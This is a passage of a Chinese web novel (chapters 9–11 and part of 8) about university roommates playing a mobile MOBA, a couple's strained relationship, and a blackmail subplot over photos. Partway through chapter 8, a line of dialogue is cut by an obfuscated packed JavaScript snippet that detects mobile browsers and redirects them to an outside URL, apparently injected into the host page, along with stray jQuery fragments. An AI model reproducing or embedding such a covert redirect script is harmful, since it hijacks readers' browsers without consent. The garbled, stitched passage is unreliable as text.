语音里许还今听见王行泽他们鬼哭狼嚎:“祁绍,救一下,救一下!” “我滴祁绍,你别见死不救,来下路帮忙啊!!” “靠,靠,对面这个打野也太厉害了。” …… 但祁绍对他们的求救完全视而不见,一分钟后下路三人全部阵亡。 打野打完团就来上路,祁绍刚打完龙,不紧不慢地教许还今,“一会团战的时候嫂子你放完二技能就走,不用管我,大招放不放都无所谓。” 许还今嗯了一声。 刚走进防御塔,对面四个人都冲过来,血厚的硬辅开团直接冲塔,对抗路和中路紧随其后,打野在外圈等着收割。 祁绍玩的是一个机动性很强的射手,他躲开辅助之后开始大秀技术。 在万花丛中过片叶不沾身的极致走位下,对方四个满血很快大残,王行泽在旁边大叫:“艹,祁绍,你好帅!” 钱吊车说:“不愧是我们祁哥!!南江游戏王!” 毛猴和何所也纷纷过来围观。 但对面抓不到祁绍开始抓许还今,中单诸葛亮的大招连到了许还今的身上,祁绍正要甩技能,瞥见这边立马回来挡下技能。 一下直接清空血槽。 薛彩顿时哎呀了一声。 何所不无遗憾地说:“祁绍你别回来啊,能四杀!” “我艹这么秀你帮辅助挡什么,嫂子又不会玩,这下要团灭了。” …… 几个人说个不停,祁绍不在意,正要说:“嫂子你先走……” 话刚说到一半,许还今那边也放技能了,二技能打的特别准,带走了辅助和打野。 然后大招控制住了中路,剩下一个残血的对抗,也很快被追上。 随着TripleKill,QuadraKill,Aced的团灭播报响起,男寝这边一片寂静。 祁绍是率先反应过来的那个。 许还今完成四杀之后控制着角色,在祁绍阵亡的尸体旁边转了一圈。 她的英雄形象是一个半身鱼尾。 平时的死泥鳅英雄看着也比往常可爱点。 祁绍忽然就想乐,条件反射地说了句:“玩的不错,宝宝。” 这句话说完,四个人“哗”一下全回头盯着他,宿舍更寂静了。 祁绍:“……” 等等, 我艹,我艹!! 一般来说,祁绍打游戏时会比往常活跃很多,虽然他不经常开麦,但偶尔确实会和队友说几句玩笑话,有时也会像现在这样夸队友几句。 比如跟他朋友荣觉玩的时候,祁绍就说过类似的话。 他当时开麦说了一句“你玩的真厉害”,就这一句话被王行泽他们听见后反复鞭尸,说他夹起来居然是这个声。 不过当时祁绍对朋友说这种话存粹是为了恶心对方,后面没加“宝宝”。 而且语气似乎,也没有现在这么宠? 宿舍四人盯了祁绍好几秒,目光逐渐变得深沉起来。 祁绍刚想解释自己口误了,还没张嘴,门口传来一声响动。 ——陈深推门进来。 他进来顺手从上衣口袋里掏出手机扔在桌上,边拉椅子边问:“你们都在打游戏?今天宿舍怎么这么安静,隔壁寝室来敲过门了?” 平时寝室里打游戏除了祁绍是偶尔讲两句话,其他人一进游戏都恨不得能吵翻天。 隔壁宿舍天天猛猛捶墙提醒他们小声一点,今天五个人打游戏还搞的这么安静?在女生面前保持形象? 没人说话。 宿舍一片寂静,只有钱吊车外放的手机音筒里传来女寝那边的笑声。 陈深进来没得到回答,看了一圈纳闷地问:“你们不说话都看着祁绍干吗,现在在宿舍开口说话也要他先点头了?” 祁绍在宿舍里属于每说一句话都会引起关注的类型,基本属于谁都爱和他玩,喜欢顺着他的意思的那种。 他这样一说,靠门的钱吊车脑子快的连忙改变话题,说:“嫂子打游戏好厉害,刚才四杀。” 陈深愣神:“四杀?” 王行泽:“对,四杀,虽然都是残血,但也牛逼啊!” “没看出来,嫂子打游戏也是一把好手!” 几个人说着,陈深一直以为许还今不怎么玩游戏,也没想到她能拿四杀,立即当着宿舍其他人的面,给许还今发了条消息夸奖说:“宝宝,你打游戏好厉害。” 祁绍:“……” 王行泽、钱吊车、何所等人:“……” 祁绍尴尬地摸摸鼻子,没说话。 * 女寝那边,秦新月也刚刚才回来。 她穿着白红色的运动装,头发有些散乱,听到陈深这句语音的时候她回过头问:“陈深才刚回寝室,他不是没训练吗还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067284|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞这么晚?” 许还今抬眼看她,她每天很晚才会卸妆,而且许还今的妆不淡,是所有人都能看的出来的浓妆。 修容和高光掩饰了原本的骨相,重新掐出另一副相似立体的骨骼。 不化眼影,只有极浓的黑色眼线从眼尾挑出来,微微上翘的弧度,足够明显也足够克制。 许还今很少涂亮色的口红,基本都是饱和度很低的水光唇釉,睫毛根根分明,明明她不涂睫毛膏,下眼睫却也十分浓密,在眼下勾出一片阴翳似的暗色。 这种浓妆但凡化妆技术差一点或者是长得差强人意就会是一场灾难,让人感觉是化妆刷和眼线笔在脸上胡涂乱画过。 但许还今却把这种妆驾驭的极其完美,会让人在看到她的一眼就觉得,这人化妆了,这个妆化出来太漂亮,进而产生探寻欲,想要看看她卸妆之后长什么样。 笑的时候迷人,不笑的时候略显冷淡,眼睛却像带着勾子,看了她第一眼就会想要看第二眼。 这就是许还今,毫无质疑的美女。 不至于每个人都觉得她是最漂亮的,但提到漂亮这个词,总有人会想到许还今。 同在一个宿舍,秦新月是少数见过她卸妆的人。 没看过她卸妆之前,秦新月还会想不就是会化妆吗有什么了不起的,但看过她卸妆之后,秦新月就说不出这样的话。 她每次的妆容虽然浓但色彩却不多,卸妆之后脸上只是稍显素淡,可无论是骨相还是皮相都丝毫不逊于没卸妆时,相反比起化过妆,许还今的素颜甚至更让人记忆深刻。 有目共睹,无可挑剔的美貌,说的就是她。 有这样一张脸在,有妆和没妆的区别并不大,而许还今化妆似乎也不是为了让自己更好看。 她好像只是出于当模特的习惯,习惯化妆,习惯用浓妆掩饰自己原本的容貌。 除了化妆这一点外,许还今在宿舍以及班级里其他同学的印象里都是一个很好说话的人。 脾气好,上课时安安静静的听课,平时也不会生气,如果有谁向她开口借笔记,乃至借她的作业方案当参考,许还今都会同意。 但她现在看秦新月,如同平常一样云淡风轻的一眼,却让秦新月莫名地感觉到了紧张。 她张张嘴,重新说:“是不是去食堂吃饭太晚了?” 她说完,许还今此时才像不在意般点头,说道:“应该吧。” 旁边康婷听见了,笑嘻嘻地说道:“陈深一边吃饭一边想你吧,你跟他闹别扭这些天别把陈深伤心死了。” 康婷学陈深刚才的声音:“宝宝~打游戏好厉害——” 许还今笑起来,她没有理会康婷学陈深的那句话,开玩笑地说:“让他伤心几天好了。” “哇,好狠心啊还今,”康婷话锋一转,说道:“不过,我要说句实话,你男朋友那句宝宝叫没有祁绍好听,祁绍的声音好宠。” 刚才打游戏时薛彩的麦在开着,祁绍那句宝宝寝室都听见了,他刚才的口误把宿舍的两人笑得不行。 薛彩:“祁绍现在在宿舍尴不尴尬啊?” 薛彩大胆发言:“我要是还今我现在就甩了陈深去倒追祁绍。” 康婷保持理性:“不行,祁绍那句宝宝说的这么顺嘴,肯定天天在宿舍带妹。” “有道理,”薛彩说:“我愿意成为其中之一。” “靠!”康婷说:“色欲熏心啊你。” 她们俩你一言我一语,话题换的很快,也没人再聊陈深了。 只有许还今还在低头给陈深回消息。 秦新月拿上衣服去宿舍洗澡。 她打开水龙头,流水声潺潺,越想刚才那一幕越觉得窝火。 怎么就在许还今的一个眼神下觉得心虚了? 秦新月很快把这股火气蔓延到陈深身上,洗澡洗到一半,她冲出来掏出手机给陈深发消息 【快点把钱发给我,不然我就把照片给许还今看】 发完就把手机一扔,重新进浴室洗澡了。 9. 第 9 章 男寝这边,陈深加入后代替祁绍玩上了射手,许还今玩辅助跟他。 王行泽和薛彩的位置不变,祁绍变成了对抗路。 他口误之后话瞬间变少,每一局都老实的在兵线、野区、防御塔之间来回游走,跟老农民似的把峡谷都犁了一遍又一遍。 终于勤勤恳恳地犁了两把地之后祁绍说自己不玩了,在陈深的极力挽留下还是打开了电脑开始刚枪。 祁绍走之后他的位置由钱吊车接替。 没了祁绍参与之后,游戏的难度直线上升,钱吊车和薛彩都是急脾气,脏话一句一句往外飙。 陈深的技术还可以,运气好偶尔也能双杀一下,但在几次冲团战都死得飞快之后,陈深开始学习祁绍的作风,在其他分路水深火热之际还让许还今来野区和他一起清野。 今天还是陈深记忆里第一次和她一起打游戏。 平常许还今除了上课就是拍图,除此之外连校门都不怎么出。 她对游戏、逛街之类的活动不感兴趣,有时候陈深想叫她出来都不知道叫出来之后要干吗。 而且他也知道许还今每天都很累,就想着让她多休息,因此每次打游戏也都是和朋友一起,很少会叫上许还今。 虽然他们并不像寻常情侣那样时时刻刻黏在一起,但这压根不影响陈深对她的感情。 陈深第一次见到许还今是在高二。 学期刚开始,老师说班级里要转进来一个新同学,叫许还今,是个女生,从浦江转过来的。 他们那个地方是个六线小城市,教育资源落后,陈深的高中虽然是镇上最好的学校,但显然和浦江市这种大都市没法比。 因为班级里议论纷纷,都在猜她为什么会转过来,同时也在猜新同学长什么样,许还今,听名字应该长得不错。 然后第二天早上下了瓢泼大雨。 豆大的雨点砸在玻璃窗和围栏上,当时正值九月酷暑,雨点落在地上就蒸发起一道若有似无的白雾,风刮得很大,窗外风声呜咽,尽管是白天,但天空却暗的像凌晨。 教室里开着灯,几个昨天没写作业的人正在奋笔疾书抄着作业,风声雨声把气氛渲染的像末日前的一刻。 许还今就是在此时,在雨雾和大风之间走进了教室。 她那时候还没有开始化妆,穿着陈深学校的蓝白色校服,头发规矩地扎起,巴掌脸,五官没给脸留下一丝多余的空白,鼻骨高翘,唇色鲜红,一眼上去像是精心化了几个小时的妆容一样。 明明不是寡淡的长相,给人感觉却很淡,仿佛教室刚才是吹进来了一阵白色的雾气,疏离渺远。 气质和长相相悖,却又能奇妙的融为一体。 声音是出乎意料的清脆,介绍自己的名字:“许还今,归还的还,今天的今。” 说罢等了几秒,等班上的同学打量完她才在老师的示意下坐进座位。 陈深本来没有多在意转校生的事情,但却在那一瞬间心动。 他追了许还今很久她都没点头。 直到高三的那一年暑假,许还今在浦江做模特,陈深从镇川来到浦江陪她一起工作,临近开学的时候许还今才答应先试试。 无论如何,他绝不可能和许还今分手。 陈深一边刷着野怪一边试探性地问:“我今天晚上去找手表了。” 他们俩打的是语音电话,和游戏里的语音是两个频道。 许还今问:“找到了吗?” 陈深说:“要是找不到了该怎么办?” “找不到,”许还今重复了一遍他的话,说道:“那就分手。” 语气也不重,平淡的跟陈深开玩笑的感觉很匹配。 陈深立马就没声了,他是试探,但隐约却觉得许还今是来真的。 如果找不到手表,许还今可能真会跟他分手。 到底是为什么这么在意手表这件事,往常她也给自己送过礼物,自己也弄丢过几次,当时他事后懊悔不已,许还今还劝他说没关系,丢了就丢了也不要紧。 难道是因为手表是生日礼物比较重要,还是说…… 许还今发现了什么? 陈深心里顿时一紧,许还今应该不至于发现什么,但为了避免夜长梦多,也必须赶紧把这件事解决。 艹了,全怪当时喝酒喝太多。 陈深立马收住自己试探的心理,哄道:“不分手,别总是说分手。手表找到了,五一的时候带回家了,刚让我妈寄过来。” 许还今问:“什么时候寄到?” 陈深最大极限为自己找时间:“下周五,宝宝你也知道我妈最近要准备一个什么项目,没时间寄快递。” 陈深的妈妈是高中老师,平时工作很忙,时常不回家,但寄一个快递也就五六分钟的事情,陈深顿时觉得这个理由找的不好,刚要找补,许还今出乎意料地应声:“嗯,那就下周五吧。” 陈深话卡在嗓子里,钱吊车怪叫道:“陈深你有病啊,打团你不来帮忙!!” “快来快来,”王行泽说:“嫂子快来参团!” 许还今控制着英雄往那边走,陈深也赶紧跟上,参与到打团之中。 就是在这个时候,陈深看到了秦新月的消息。 ——“快点把钱发给我,不然我就把照片给许还今看” 艹!! 陈深脸色一下就变了,他猛然划走消息横幅,暴躁地随意摁了几下技能键,完全没有意识的操作很快导致阵亡。 射手阵亡,他们这边失去主要输出,团战一下棘手起来。 王行泽抗议:“你搞什么,乱打啊?!” 连钱吊车都忍不住说:“深哥你老婆在旁边给点力啊!!嫂子你看他!!” 王行泽赶紧起身把手机往祁绍面前递:“祁绍,祁绍我们在打团,快快!你来!” 他说着刚要摘祁绍的耳机,手都伸了才发现祁绍今天没带耳机,往常他打游戏嫌宿舍吵,一直都带着耳机。 王行泽愣神,问:“你怎么不戴耳机?” 祁绍接过手机说:“不想戴。” 祁绍的技术贼厉害,靠着一丝血极限操作团灭对方,打完把手机扔给王行泽,顺便瞥了眼陈深。 陈深正在哄许还今,语气比在贩卖机前还黏糊,他说到“刚才手误了,宝宝……”的时候,祁绍果断又把耳机戴上了。 陈深被秦新月的消息搞得心神不宁。 就刚才陈深让他们先玩游戏的那段时间,他其实是出去找秦新月了。 中午和许还今聊完,陈深一直在想自己的手表到底放在哪了,想来想去想到一个事情。 五一前班上组织了一次聚会,当时陈深和毛猴他们都去了。 陈深和班上的几个男生一起喝酒,喝了有七八瓶啤酒,陈深的酒量不怎么样,啤酒就两瓶倒的水平。 他当场就喝多了,毛猴和钱吊车他们想回去打游戏,但陈深还没喝够,就让钱吊车他们先走。 陈深当天被又吹又捧,喝了也有四五瓶,然后就醉了,喝醉之后他头晕脑胀不省人事,不知道是谁凑过来和他说话,问他要不要去酒店休息。 陈深当时只觉得这个人身上的香味有点像许还今,但无论是说话的语气还是声调都比许还今要温柔很多。 轻柔的嗓音说的陈深更晕了。 他当时也不记得是点头还是摇头了,反正等醒来之后自己就在酒店的房间里。 大床房,床上被单凌乱,陈深本来宿醉还在头疼,看清眼前的状态之后一下被吓醒了。 他也不知道自己有没有糊涂犯事,赶紧飞快地穿上衣服去退房,下面前台说这房间是一个叫秦新月的女生开的。 陈深对秦新月还算熟悉,毕竟是自己一个班的同学,平时训练也能遇得上。 秦新月长得不错,而且性格外向,和班上的同学关系都很好 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但他家里虽然有钱,父亲是当地一家小企业的老总,妈妈的工资也不低,不过父母对他的管教很严格,当时甚至都不同意陈深学体育。 到了大学他每月有两千的生活费,其余超额的开支需要向家里讲清用途,得到他妈同意才行。 买衣服买鞋这些还好说,两万块买一块手表,以他妈的性格肯定会把这件事刨根问底。 陈深顿时头疼起来,艹,两个女人都和他玩真的。 陈深往桌上扫了几眼,游戏机还有几双新买的球鞋,二手应该能卖点钱,就是变现困难,不知道到下周五之前能不能卖出去。 陈深边打游戏边想对策,接下来的游戏明显沉默了许多。 打完几局游戏女寝那边说要去写个作业,等会再玩,陈深就关掉游戏,毛猴他们几个也起身去隔壁寝室溜达一圈。 寝室里就剩下祁绍还有抓耳挠腮写论文的何所。 祁绍玩了两局游戏,全都赢了,但他此时觉得有些无聊,就直接上床打算睡一会。 刚闭眼又想起来刚才那一句宝宝的尴尬。 在联想刚刚陈深和许还今的亲密互动,祁绍翻了个身,深刻地觉得自己很不是东西。 他还没想几分钟,王行泽他们回来。 毛猴问:“陈深呢?” “出去了吧,刚去隔壁寝室,一会跟钱吊车一块回来。” “祁绍呢?咋不在打游戏?” 王行泽看了一圈,爬上楼梯看了看祁绍的床铺,见他躺在上面,估计是联想到了啥,笑呵呵地问:“祁绍,自闭了绍?” 底下的毛猴闻言说道:“别自闭了,快下来打游戏,又没人怪你。” 何所也跟着劝:“就算你叫的是嫂子,但陈深也没听见啊!” 祁绍:“……” 这是他听不听见的事情吗? 祁绍一句话不想说,说了几句,陈深回来,他们开始接着打游戏。 毛猴跟钱吊车他们兴致不减,一会一句嫂子。 “嫂子来拿蓝……” “嫂子你在防御塔里……” “嫂子看我的,看我秀操作!” …… 在此起彼伏的嫂子声中,祁绍拉上被子蒙住头,恍然间有种自己的生活此时已嫂子含量过多的荒谬感。 过了一会,他想起中午在贩卖机附近听到陈深说宝宝时的油腻,勉强撑着一口气起身叫王行泽:“王行泽。” “嗯?叫我干啥?”王行泽拿着手机走过来,一手玩游戏一手挂在梯子上:“你渴了?” 祁绍直起身,十分郑重地压低声问:“刚才我叫的那一声宝宝,语气恶心吗?” 王行泽:“……” 王行泽:“??!” 10. 第 10 章 王行泽放下暂时放下手中的游戏,和他对视两秒,然后问:“重点是这个吗?” 不应该是你为什么叫人家女朋友宝宝吗?! 祁绍:“……” 祁绍缓缓躺下:“算了,问你也没用。” 王行泽真怕他自闭了,连忙说:“不油,而且人家许还今又不在意你叫了什么,她都没说话。” “……” 好像确实,从祁绍叫了那句宝宝开始,许还今就一直没对他说话。 祁绍蒙上被子:“打游戏去吧,别说了。” * 宿舍里除了许还今大部分人都很热衷打游戏,和男寝那边开了一局又一局。 薛彩在匹配的间隙注意到祁绍的网名叫恐龙,她略感奇怪地问:“祁绍怎么叫这个网名?感觉和他很不匹配。” 正在看她手机观战的康婷也问:“对啊,感觉跟他很不匹配,有什么有特殊含义吗?” 秦新月说:“想知道就问问呗,反正男生都在……” 耳机里很快有人照做出声:“祁绍,你睡了没有?……她们女生问你游戏名为什么叫恐龙?” 陈深和许还今开的语音通话,交谈声别人听不见,不过也问道:“是啊,祁绍你为什么给自己起这个名字,凸显少爷气质?要不我也起一个这种名,好不好宝宝?” 说话声准确地传递到许还今的耳朵里,其实她知道祁绍叫这个名字的原因。 因为她以前也好奇过。 不光是游戏名,祁绍大部分的社交平台都叫这个名字。 沉封依旧的记忆渐渐复苏,喧嚣的讨论声把许还今拉回那个夏天。 六中虽然是公立学校,但学校经费很足,教室里大面积的装着落地窗。 窗外能看到大片鲜翠欲滴的梧桐树和蓝天白云,悠扬的阳光透过窗户洒落在课桌上,纤薄的纸张上女生小心翼翼地好奇留言询问,你的网名为什么叫恐龙。 本来只是没指望回答的无心之举,下一周却等来了他的落笔回应—— “因为我小时候是恐龙迷,坚信人类可以复活远古生物,因此最大的愿望就是为了人类奇迹贡献出属于自己的一份力量。我爸妈说我小时候会偷偷给自己报名去跟着科考队挖恐龙蛋。起这个网名是为了纪念童年的中二病。” 字迹洒脱却又能让人看得清楚。 她当时想,自己可能是唯一一个知道这个秘密的陌生人。 许还今回答陈深的话:“不要了,你的网名很好听。” 那边,祁绍不走心的回答:“因为恐龙长得壮,我羡慕。” 陈深:“……” 王行泽:“……” 钱吊车说:“这啥破理由,你还不如说自己随便起的。” 祁绍从善如流地说:“随便起的。” 敷衍的回答得到了宿舍一致的嘘声,祁绍也没管,他正在床上翻着手机看游戏账号,找自己到底什么时候加的许还今。 这个游戏账号祁绍从高中就开始玩,绑定的是他的企鹅号,刚才祁绍看了下游戏,许还今应该还是自己企鹅好友。 但开学到现在自己加过的女生屈指可数,还都是班长学委之类的,什么时候和许还今有联系了? 而且他除了和许还今是好友之外和她宿舍的其他女生都不是。 祁绍本来打算翻一下列表解惑,但打开列表发现自己居然有两千多个好友。 他模糊地想起来高中的时候有人把他的账号发到了校园墙上,当天加他的人就有几百个,段正年拿着他的手机全点了同意。 祁绍搜索“X.”,这个名字也很大众,跳出来几十个人。 祁绍记得许还今在游戏里的头像是灰色的风景照,但眼下这些都不符合。 他翻了一会,终于放弃。 可能开学那会加的,自己忘记了? 算了,加就加了,还是别对舍友女朋友有太有探究欲了。 祁绍切屏看微信,董女士给他发了条消息 【记得早睡,没钱了给家里发消息】 祁绍回复【坤哥睡了吗?】 坤哥是祁绍老爹,富三代,钱多的能当砖头用。 董女士发了一个意外的表情包,回复【没睡,他在书房】 发完随即打了个视频过来。 祁绍刚好没事,戴上耳机接视频。 董女士正坐在化妆桌前,涂抹一些祁绍大概知道但分不清的护肤品,昂贵的护肤品以及保养让她将近五十岁看起来还像三十出头。 董女士听到接起电话的声音顿时惊喜地哎了一声,打趣道:“今天有时间接电话了?不在打游戏?” 祁绍一本正经地说:“游戏不能天天打。” “你说给自己听吧,”董女士显然很了解他说:“一到放假就窝在家里打游戏,你看看荣觉他们,车啊,滑雪啊,过的多精彩。” 祁绍说:“他们玩的都烧钱。” 董女士拿起手机往书房走:“你花的不比别人少,钱有什么要紧的,你过得高兴妈妈才放心。” 董女士也是富n代,对祁绍的教育秉持着快乐至上的原则,从小到大都是要什么有什么,完全溺爱,祁绍到现在没长歪全依赖于他当年沉迷于恐龙世界以至于忽略了身边的各种诱惑。 等恐龙梦破碎之后,祁绍开始做一个正常人,然后就养成了现在这副懒散的公子哥性格。 董女士走到书房,打开门把手机递到祁坤面前:“看看谁给你打电话了?” 祁坤正在开一个紧急会议,正要让妻子等会,刚张嘴,抬眼瞥见手机屏里自家儿子的脸。 祁坤立马跟妻子一样惊喜地哎哟了一声:“少爷这是有空了,还知道给我打个电话?” 祁绍手垫在脑后,说:“我没找你。” 祁坤朝屏幕里开会的几人比了个中场休息的手势,随即捞过桌上的一个拍卖册,翻开。 他接过妻子手里的手机,对准拍卖册上的照片,问道:“你看看这是什么?” 拍卖册上是只手表的照片,双表冠,表盘的中间是蓝色调的地图,金绿色显得格外神秘辽阔。 祁绍眼睛顿时就亮了,问道:“欧亚大陆?这块表很少见。” 照片上的手表装饰了掐丝珐琅工艺,全世界一共就三块,都在博物馆和低调的私人收藏家手里,祁绍之前特别想要,但就是买不到。 祁坤颇为满意的点头,“眼力不错。怎么样少爷,有没有找我?” “找了找了,”祁绍瞬间变脸,竖起大拇指吹捧:“还是坤哥有实力,坤哥助我拿下这块表。” “坤哥不愧是祁家最帅的男人,一块手表而已,根本不在话下。” 祁坤非常享受儿子的吹捧,说道:“你小子是有事才献殷勤,我先问你,今年暑假回家住吗?” 去年祁绍高中毕业的那个暑假,他跟荣觉住一块,天天窝在家打游戏。 到了寒假祁绍也没在家待几天,成天都往网吧里钻,让董女士想找儿子都没地找。 祁绍往网吧跑的主要原因是他只要一在家,祁坤和董持云就时不时地要把他从房间里叫出来。 他们是高兴了,搞的祁绍的游戏打的极其不安稳,于是他干脆一放假就往外跑。 但眼下为了这块表祁绍表态:“我待在家,这次保证不走。” 祁坤才满意点头:“给你买了放你柜子里?” “别,”祁绍说:“等我回去自己放,先放你书房。” 祁绍从初中开始就喜欢玩表,在家有一面整墙的表柜来存放各种名表,平时除了他自己和保养师之外别人都不能碰。 祁坤咂一下嘴说:“给你花这么多钱,连你那柜子都不能碰?” “我喜欢自己弄,”祁绍问:“坤哥这表多少钱?” “你估计多少?” 祁绍伸出两根手指:“这个数之内拿下比较值。” “两千万?”祁坤不懂表,他拍这块表完全是因为儿子喜欢,说道:“估的差不多这个价,过几天拍了再看。” 祁坤提前找人估过价,应该是本来就想拿下这块表,祁绍赶紧夸:“坤哥太仗义了,我回去请你吃饭。” “你亲自给我做的我就吃,”祁坤说:“要不你叫你妈给我做。” 祁绍是厨房小白,从小到大就没下过厨,他揉了下脖颈装听不见地问:“我这信号不好,坤哥你说什么?” 祁坤指着屏幕笑骂道:“没良心的。” 他还要开会,董女士适时地接过手机,说道:“好了,你开会吧,我和儿子聊一会。多大的人了自己不会做饭还让儿子做?” 她对着祁绍关切地说:“别理你爸,他想吃自己做。” 祁坤画外音般插画:“我自己做的哪能比得上儿子亲手给我做的。” 祁绍又假装听不到,笑着 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女生没有说话,黑红配色的耳机她戴上去有些大,一直在试图调整位置,她手指纤细,扶着耳机,纤白的手指和耳机的配色对比格外强烈。 祁绍有种自己在网吧打游戏,然后女朋友来找自己,等的不耐烦,也非要试试他的游戏装备的感觉。 他揉了下眼,懵逼地提醒道:“你缩小一下侧边的滑竿……” 刚说完,又意识到自己不认识对方,祁绍顿了几秒,困惑地问:“这是男寝,你进来了我舍友呢?” 女生还在拨弄他的耳机,回道:“不知道,进来的时候宿舍没人。” 声音听起来耳熟,祁绍还在懵圈中,说:“没人你也不能进来……” 但女生好像很烦他这样说话,不耐烦地拍了下鼠标控诉说:“你的耳机好难用。” 祁绍:“……” 可我也没让你用吧? 祁绍抓了几下头发,把一头黑发抓得乱糟糟的,他无语了一会说道:“底下柜子里有个新耳机,你用那个。” 女生没有去拿新耳机,随即打开电脑。 刚才祁绍上床前没关电脑,他的游戏账户还登在上面,女生十分自然地点击开始游戏。 涉及到自己的段位,祁绍阻止她:“你别给我掉分。” “不会的。” 对方开始打游戏,打的很菜,祁绍刚想提醒:“你找个地方躲,别硬刚……” 还没说完,女生回他:“你话好多。” 有点微弱地,撒娇的语气。 祁绍:“……” 祁绍乐了,笑着说:“你都平白无故玩我电脑了还说我话多?” “是你让的,”女生说。 她背影十分纤细,柔弱无骨的感觉,祁绍说:“我什么时候让了,我都不认识你。” “你不认识我吗?” 女生微微侧脸,顺直的乌发垂下,黑红的耳机安静地伏在她细白的手指边,仍旧是看不清具体的脸,但侧面能看清对方长睫轻眨,下颌骨精致,嘴边勾起一抹浅淡的笑意。 寝室里起了一场若有似无的雾,她轻轻地,尾音稍扬地说:“那你刚才,为什么叫我宝宝?” 什么?! 艹,宝宝??! 一瞬间,祁绍猛然睁眼坐起来,胸口剧烈起伏,心脏跳得极快。 宿舍里关灯了,王行泽他们都睡了,就祁绍的电脑屏幕不知道被谁打开了,还亮着光。 似乎刚才,真的有个女生坐在这打游戏。 刚才是梦? 祁绍的动静惊醒了好几个人,王行泽迷糊地问:“咋了祁绍,一惊一乍的。” 临床的何所还没睡,问道:“做梦了?” 钱吊车嘿嘿两声,补充问:“这么大反应,春梦啊?” 陈深在是钱吊车的上铺,也没睡,问:“哪个女的把你搞成这样?” “让我猜!” 何所说:“你们金融学院的女生?” 王行泽还在迷糊中,问:“谁做春梦,这春天都过了还做春梦,这么饥渴?” 祁绍:“……” “滚,”祁绍重新躺下,蒙上被子,“闭嘴睡觉。” 11. 第 11 章 306宿舍。 祁绍从起床开始一直处于懵逼的状态,他早上没课,起床洗漱完就待在宿舍打游戏。 今天发挥的格外差,打一局输一局,不是秒死就是被狙,但祁绍仍旧在坚持不懈的打着排位赛。 打了一上午,到了中午宿舍里其他人都去吃饭了,王行泽还在外面参加活动。 过了会手机振动,祁绍终于舍得放过自己,拿起手机回消息。 联系人里有加好友的新通知,是昨天那个“月色”重新加了一遍好友,应该是女生寝室那边的人。 祁绍没有点同意,就在对话框里问了一句【什么事?】 然后是王行泽,发消息说他还要半个小时,让祁绍等不及就自己先去吃饭,或者一会他回来给祁绍带饭。 恐龙【你回来顺便帮我带份饭。】 你泽哥【你要吃啥?】 恐龙【随便】 【……】 【你随便别我带回来你一口不吃】 【三食堂的烤鱼饭行不行?】 祁绍发了个“行”字。 他无聊,刚准备再开一局游戏,拿起耳机的一瞬间想起昨天女生的那句,“你的耳机好难用。” 祁绍不自觉的抚了下耳机上的滑竿,心想难用吗,还好吧,这个型号是品牌的主打款,各方面性能都拉满了。 是不是她脸太小了所以耳机对她来说有点大? 祁绍买耳机一般不费心对比价格挑款式,基本是看到谁家出了新款就直接买。 数值也是买的时候顺便扫几眼,大概了解一下就行。 他反正也闲着没事干,干脆打开网站看这款耳机的信息,降噪、材质,都很顶尖,三千多的耳机打个游戏绰绰有余了。 然后一直滑到买家论坛,里面第一条帖子就是, “头围小的女生千万别买bt4这款耳机,巨重!!而且滑竿调节非常垃圾,根本调不到合适的尺寸!!” 祁绍拿起自己的耳机看了下,正是贴主说的款式。 底下有人为这款耳机争辩,也有人问贴主头围小的女生应该入哪款耳机。 【BT4已经够优秀了,不然你推一个更好用的?】 【同价位bt4就是无敌了,贴主别硬黑!】 底下贴主回复【无脑入h101,除了贵没有其他缺点。】 【H101两万多,卧槽这也太贵了】 【有没有便宜一点的?】 【贴主也觉得贵,贴主的耳机是男朋友送哒,其他便宜的贴主还没找到,等找到了告诉大家呀】 ……? 【……你秀你大爷的恩爱啊?!我们是在讨论耳机啊!!!】 【贴主可以滚开了】 …… 祁绍俯身打开柜子找那个还没拆的耳机,想看它是什么型号的,刚拿出来还没来得及看,寝室的门响了。 有人推门进来,大概是看了一圈宿舍没人,陈深问道:“毛猴他们都去吃饭了?” 祁绍说:“嗯,刚走一会。” “我靠,不是让他们等我吗?”陈深抱怨了一句,看祁绍拿着耳机盒,顺嘴问:“你耳机坏了?” 他这一问,祁绍忽然感觉自己现在很莫名其妙。 动作顿了几秒,也没有看型号,旁若无人地把盒子重新塞进柜子里,说:“没坏,我看这耳机是什么型号的。” 说罢坐直身体开始打游戏。 “哦,”身后陈深应了声,忽然问道:“祁绍你天天打游戏,对耳机有没有研究?我给我女朋友买了bt4剪片子用,够不够用?” 祁绍握着鼠标的手一顿,半敷衍地说:“够了。” “哦,”陈深又应了声。 306宿舍关系不错,但放到具体的人身上,大家或多或少都和祁绍有些距离感。 主要是祁绍平时话少,除了打游戏也不怎么和大家一起出去玩。 顺便问了句后陈深坐下看手机,想先看看自己昨天挂上去的球鞋有没有买。 打开二手平台,来问价的就两个人,一个陈深挂价一千,他砍到五百。 剩下一个问他能不能分期付款。 一千块还要分期,我急得要死谁给你分期? 陈深果断拒绝。 他给第一个人回消息【一千你对半砍?八百最少了。】 对方立马秒回【这球鞋又不是限量版,你还想要多少,一千五原价你二手卖一千,过分了兄弟】 陈深补充【全新的,我没穿过】 对方说【我不在乎穿没穿过,价钱到位就行】 陈深心里一阵无语,顿时把手机关了。 球鞋一时半会是卖不出去了,但钱还要接着搞,不然秦新月那边一把照片发给许还今,就算他长了十张嘴也说不清。 他在宿舍扫了一圈,盘算着还能怎么搞钱。 目光一瞥,看到了正在打游戏的祁绍。 祁绍是宿舍最有钱的,平时对舍友出手也很大方,月底大家没钱了基本都问他借钱周转。 几百,几千的,祁绍压根不在乎。 但向他借一万多,陈深还是有些张不开嘴,他站起来又坐下,打算还是先问问自己爸妈,看看能不能搞到钱。 他试探性地先给他妈妈发了条消息[妈,你和爸最近忙吗?我有点事情想和你们说。] 发了但一时半会没人回。 陈深又切屏给许还今发消息【宝宝今天还去拍摄吗,我有个礼物想送给你,你什么时候有空?】 许还今很快回了消息【我没有需要的,礼物你退了吧】 【晚上要去拍摄,下午上完课过去】 